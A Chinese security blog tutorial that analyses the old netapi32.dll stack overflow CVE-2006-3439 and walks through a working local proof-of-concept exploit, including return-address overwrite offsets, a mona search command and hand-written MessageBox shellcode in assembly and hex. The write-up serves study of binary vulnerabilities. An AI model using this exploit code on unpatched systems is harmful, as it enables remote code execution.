freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

漏洞分析篇:栈溢出(CVE-2006-3439)漏洞分析
2022-04-29 15:36:12
所属地 内蒙古

前言

*本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!所有环境均为本地环境分析,且在本机进行学习。

漏洞是微软2006年爆出的Server服务器栈溢出导致的远程代码执行漏洞,标记为严重,漏洞编号CVE-2006-3439。

这个溢出漏洞发生在netapi32.dll的NetpwPathCanonicalize()函数中,此函数是一个网络路径字符串格式化的函数,函数中wcslen作用是计算字符串长度是以Unicode编码而在栈空间中内容都是以字节作为计算。此文章复现根据榴莲课程讲解与自己研究完成(http://www.vultop.com/)。作者:rkabyss

一、CVE-2006-3439漏洞原理分析

通过IDA Pro加载netapi32.dll动态链接库,来进行分析CVE-2006-3439漏洞产生的原理。

1649217006_624d0dee7d2f78d110b5d.png!small?1649217004875

通过IDA全局搜索函数功能,直接搜索存在问题的NetpwPathCanonicalize函数,双击进行跳转到NetpwPathCanonicalize函数位置。

1649217026_624d0e0209357f684d646.png!small?1649217024367

通过动态分析可以知道漏洞点发生在下图中CALL中。

1649217045_624d0e153f6bb180c47a2.png!small?1649217043462

看到在开始sub esp,414h进行开辟栈空间,它是用来存储拼接后的字符串。mov ebx,411h进行边界检查,查看数据是否溢出。漏洞产生原因主要处在wcslen上,wcslen主要是对字符进行计算,类似于strlen函数,区别在于wcslen计算的是WCHAR类型,在栈空间中内容都是以字节作为计算,用的是ASCII编码,而wcslen使用的是Unicode编码,用的是两个字节,就是同样长度的字符串会少算了一半。前面他检查分411h但是我们可以传入822h字节,这个是十六进制的。

1649217072_624d0e30a26ed4151d055.png!small?1649217071078

看到cmp ax,5ch他就是动态分析时候进行拼接/。call edi计算path路径的Unicode长度,结果保存到了eax当中,下边add eax,esi是把两个字符串拼接后大小存到eax当中,第二次边界检查依然是通过0x411进行检查,但是它存在问题。上边prefix不能利用是因为他在外边进行了二次检查,而path是可以利用的,因为没有对他进行检查,以此可以知道path是可以传超长字符串,最长可达411h的二倍。

因为这里检查的还是Unicode编码而不是ASCII编码。运行下边函数他会把path拼接到prefix后面,长度已超过开辟的414h长度,所以造成溢出可以进行利用。

1649217101_624d0e4d08e666a4e7351.png!small?1649217099320

二、CVE-2006-3439漏洞动态分析

CVE-2006-3439漏洞有补丁号为KB921883,如果计算机没有打此补丁,此漏洞就可以利用。

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;
	//load vulnerability netapi32.dll which we got from a WIN2K sp4 host  
	HINSTANCE LibHandle;
	MYPROC Trigger;
	char dll[ ] = "./netapi32.dll"; // care for the path 
	char VulFunc[ ] = "NetpwPathCanonicalize";
	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
	memset(path,0,sizeof(path));
	memset(path,'a',sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'b',sizeof(prefix)-2);
	//__asm int 3
	(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
	FreeLibrary(LibHandle);
}

此漏洞出现在netapi32.dll动态链接库中,是NetpwPathCanonicalize函数出现了问题,该函数本身是一个网络路径字符串格式化的函数,Unicode编码字符串处理功能。(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);首先会先看prefix 参数是不是buffer,如果这个buffer不是空的,那么就把prefix 里面的内容和path路径里的内容通过一个反斜杠连接起来,连接起来会把他们放到can_path里面。

如果prefix 和path越界了或不够大就有可能直接退出。netapi32.dll动态链接库是微软的一个系统库,可以进行远程利用。通过memset对path和prefix进行了初始化,首先初始化成了0在对两个buffer分别用a和b进行覆盖。因为netapi32.dll动态链接库中NetpwPathCanonicalize函数存在问题,所以通过使用GetProcAddress方式拿到他的地址。

运行代码他会直接崩掉,可以看到Offset: 61616161是他的溢出地址,正常溢出不会出现这种地址,61是ASCII中a的编码,所以说返回地址被其中一个buffer给覆盖掉了。

1649217154_624d0e82c2bd749b63220.png!small?1649217152892

接下来进行动态分析,首先打开生成的Release可执行文件中把NETAPI32.DLL放进去,因为代码中调用NETAPI32.DL是以相对路径调用的。

1649217175_624d0e9706a719ff201f2.png!small?1649217173132

刚进来他是处在系统模块中,直接F9进入到我们程序当中。

1649217199_624d0eafa0a8ad5b1510e.png!small?1649217197860

看到0040119F地址call ms_06_040.401000就是分析程序的主函数。主函数有三个参数,通过特征可以看他调用call之前进行了三次push,他使用的调用约定是stdcall,stdcall参数从右至左的顺序压参数入栈。stdcall和cdecl调用约定都是从右至左的顺序压参数入栈,区别在于stdcall需要通过add进行手动平栈而cdecl由系统平栈。

1649217224_624d0ec88c42cb4e1008d.png!small?1649217223093

此漏洞问题出现在call edx当中。call edx是一个经典的函数指针,因为在编译的时候edx地址还不确定,它是后覆盖进去的。

1649217260_624d0eec3bb8794209177.png!small?1649217258759

直接F8或F9往下走,可以看到它的EBP和EIP都是61616161,说明EBP和EIP都被其中一个buffer给覆盖了。

1649217289_624d0f09a4ea2582c06b8.png!small?1649217287941

因为他call edx,在寄存器中可以看到edx他其实就是有漏洞的API函数。

1649217309_624d0f1d5305a1f053567.png!small?1649217307606

直接把edx的地址取出来,ctrl+G跳到NetpwPathCanonicalize里去。

1649217328_624d0f30dd11ab230ea30.png!small?1649217327881

第一次分析的话就要一步一步往下走,看他在哪一个call下飞了,然后就进去分析那个call,过程不做演示,此次直接定位到问题函数进行分析。

1649217346_624d0f424edc5171150fd.png!small?1649217344777

进入到netapi32.dll中发现sub esp,414,开辟了一块很大的空间。mov edi,dword ptr ds:[<&wcslen>]计算了一下长度,其实就是做了一个验证。

1649217365_624d0f55dc438ca413cb0.png!small?1649217365404

发现它存在&wcscpy和&wcscat,问题就出现在&wcscat上。wcscpy作用是拷贝字符串到栈里面去。

1649217385_624d0f692343ac4954cea.png!small?1649217383488

首先call dword ptr ds:[<&wcscpy>]进行了call,可以看到他的参数是从eax来的,而eax值是从[ebp-414]来的,我们直接跳到ebp-414。

1649217401_624d0f797bc364f10549c.png!small?1649217399766

通过右键->在内存窗口中转到->转到ebp-414位置。

1649217416_624d0f889f2b7c1bbe06a.png!small?1649217414759

可以看到内存中一大片62,最后有两个00,这个00是初始化时候故意留的两个,进行了-2操作,有了0000结尾他就是Unicode编码字符串结尾了。

1649217433_624d0f99e8b691bb78fad.png!small?1649217432328

单步程序到7517FCCC位置他还没有出现问题。

1649217448_624d0fa826063b6c3450b.png!small?1649217446459

在执行一步发现0000没有了,其中一个00被5C覆盖了,所以这个就是拼接进去一个/,因为这个拼接进去/,导致00被覆盖,以此这个字符串没有了结尾。

1649217475_624d0fc3dce29a3bdc450.png!small?1649217474085

在此wcscat下边还存有一个wcscat,直接跳转过去。

1649217503_624d0fdf0a5b79f70f54a.png!small?1649217501453

通过观察内存窗口结尾,目前还是5C00,执行完第二个wcscat他会发生改变。

1649217533_624d0ffd67028634286a6.png!small?1649217531866

可以看到wcscat把a拼接到了后面,而且他没有了0000结束,这个字符串是没有断开的,这么复制过来后就出现了问题。这就是他溢出的一个基本原因。可以看到是61把path路径串给覆盖了。

1649217560_624d10185f9118aa8181d.png!small?1649217558902

通过这个可以知道0012F6A8就是EBP,下边0012F6AC就是返回地址,0012F294为buffer的起始地址。

1649217604_624d10444abce752c6cd6.png!small?1649217602530

在ret结束位置下断点跳转过去,返回地址是0012F6AC,ECX是0012F294为buffer的起始地。所以就可以把prefix或跟path一部分空间直接设置成shellcode。

1649217629_624d105d4892f8d00c5c0.png!small?1649217627723

利用immunity debugger工具mona,在命令行输入!mona find -s "\xFF\xD1" -m netapi32.dll,此命令意思通过mona查找指定指令call ECS和指定模块netapi32.dll。结果可以看到有很多地址,目前只记0x751852F9和0x7518AE6C两个地址。

1649217646_624d106e89ed520c75114.png!small?1649217644923

计算返回地址到起始地址距离,返回地址0012F6AC-0012F294起始地址=0x418 - prefix的100字节 = 0x318,所以就要在0x318的位置上把返回地址进行淹没。

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6c\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;
	//load vulnerability netapi32.dll which we got from a WIN2K sp4 host  
	HINSTANCE LibHandle;
	MYPROC Trigger;
	char dll[ ] = "./netapi32.dll"; // care for the path 
	char VulFunc[ ] = "NetpwPathCanonicalize";
	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
	memset(path,0,sizeof(path));
	memset(path,0x90,sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'b',sizeof(prefix)-2);
	memcpy(prefix,shellcode,168);
	//0x751852F9
	path[0x318] = 0xF9;
	path[0x319] = 0x52;
	path[0x31A] = 0x18;
	path[0x31B] = 0x75;
	//__asm int 3
	(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
	FreeLibrary(LibHandle);
}

通过mona已经获取到了两个地址0x751852F9和0x7518AE6C,通过计算算出要覆盖的地址0x318,以字节形式进行赋值把0x751852F9以小端序方式赋给0x318开始到0x31B位置。目前初始化a已经没有意义,进行全部初始化成0x90为not指令,插入一段shellcode通过memcpy(prefix,shellcode,168);命令,意思是把shellcode代码拷贝到prefix中一共是168个字节。

1649217692_624d109c7289c2438e46c.png!small?1649217690627

重新编译完之后再次分析一下,跳到netapi32.dll返回地方可以看到,ESP地址为0x0012F6A8跳转到堆栈,地址是刚才设置的,ECX地址为0x0012F290栈中指向0x0A6A68FC这个就是shellcode的地址。

1649217728_624d10c0d47205c7774e1.png!small?1649217727251

跳转之后发现发进行call ecx,现在ecx地址就是shellcode的位置。

1649219639_624d1837ab832f1be9c39.png!small?1649219638138

再次运行跳转到shellcode位置进行了弹窗。

1649219662_624d184e6447a0fb3036a.png!small?1649219660631

三、ShellCode编写

void main()
{
	_asm{
		nop
		nop
		nop
		nop
		nop
		nop
		nop

		CLD
		push 0x1e380a6a
		push 0x4fd18963
		push 0x0c917432
		mov esi,esp
		lea edi,[esi-0xC]
		
		xor ebx,ebx
		mov bh,0x04
		sub esp,ebx

		mov bx,0x3233
		push ebx
		push 0x72657375
		push esp
		xor edx,edx

		mov ebx,fs:[edx + 0x30]
		mov ecx,[ebx + 0x0c]
		mov ecx,[ecx + 0x1c]
		mov ecx,[ecx]
		mov ebp,[ecx + 0x08]

find_lib_functions:
		lodsd
		cmp eax,0x1e380a6a
		jne find_functions
		xchg eax,ebp
		call [edi - 0x8]
		xchg eax,ebp

find_functions:
		pushad
		mov eax,[ebp + 0x3c]
		mov ecx,[ebp + eax + 0x78]
		add ecx,ebp
		mov ebx,[ecx + 0x20]
		add ebx,ebp
		xor edi,edi

next_function_loop:
		inc edi
		mov esi,[ebx + edi * 4]
		add esi,ebp
		cdq

hash_loop:
		movsx eax,byte ptr[esi]
		cmp al,ah
		jz compare_hash
		ror edx,7
		add edx,eax
		inc esi
		jmp hash_loop

compare_hash:
		cmp edx,[esp + 0x1c]
		jnz next_function_loop
		mov ebx,[ecx + 0x24]
		add ebx,ebp
		mov di,[ebx + 2 * edi]
		mov ebx,[ecx + 0x1c]
		add ebx,ebp
		add ebp,[ebx + 4 * edi]
		xchg eax,ebp
		pop edi
		stosd
		push edi
		popad

		cmp eax,0x1e380a6a
		jne find_lib_functions

function_call:
		xor ebx,ebx
		push ebx
		push 0x66666666
		push 0x66666666
		mov eax,esp
		push ebx
		push eax
		push eax
		push ebx
		call [edi - 0x04]
		push ebx
		call [edi - 0x08]
		nop
		nop
		nop
		nop
		nop
		nop
		nop
	}
}

把上边代码生成可执行文件,通过dbg打开找shellcode位置,下图为shellcode地址。1649219690_624d186a668cf2fd5d260.png!small?1649219688828

进去看到上边写的shellcode进行复制,从cld到结尾带一个not,选择二进制复制。1649219703_624d1877e2e21e2445886.png!small?1649219702347

把复制出来的shellcode二进制以十六进制文本形成粘贴到010Editor,再以C代码形式复制出来。

FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C 8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53 68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B 49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95 FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03 2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB 53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50 53 FF 57 FC 53 FF 57 F8 90

1649219720_624d188825edf31995ac7.png!small?1649219718513

unsigned char shellcode[] = {
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66, 0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x90 
};

四、CVE-2006-3439漏洞远程利用

1649219736_624d1898c0acabda663ae.png!small?1649219736445

受害者

1649219751_624d18a735514f6522535.png!small?1649219749378

攻击者

1649219766_624d18b609e89ca090686.png!small?1649219765322

漏洞利用

1649219778_624d18c262d459106925b.png!small?1649219777714

1649219799_624d18d75ed3c4dff9546.png!small?1649219801881

1649219818_624d18ea052b5dd8de37d.png!small?1649219818475

五、总结

此次漏洞分析难度不高,因为漏洞时间较久,不过也是比较经典的栈溢出漏洞,适合新手练手,之后也会对二进制漏洞持续更新。

# 远程代码执行 # shellcode # 二进制 # 二进制漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录